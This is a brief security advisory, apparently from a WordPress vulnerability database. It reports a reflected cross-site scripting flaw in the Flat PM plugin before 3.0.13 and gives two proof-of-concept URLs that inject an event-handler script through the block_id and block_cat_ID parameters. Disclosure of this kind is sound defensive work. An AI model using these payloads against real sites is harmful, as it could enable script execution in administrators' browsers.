Flat PM < 3.0.13 - Reflected Cross-Site Scripting

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

PoC

v < 3.0.13 (the block_id needs to start with an existing block ID https://example.com/wp-admin/admin.php?page=blocks_form&amp;block;_id=567"+style=animation-name:rotation+onanimationstart=alert(/XSS/)// v < 2.662 https://example.com/wp-admin/admin.php?page=blocks_form&amp;block;_cat_ID=1"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//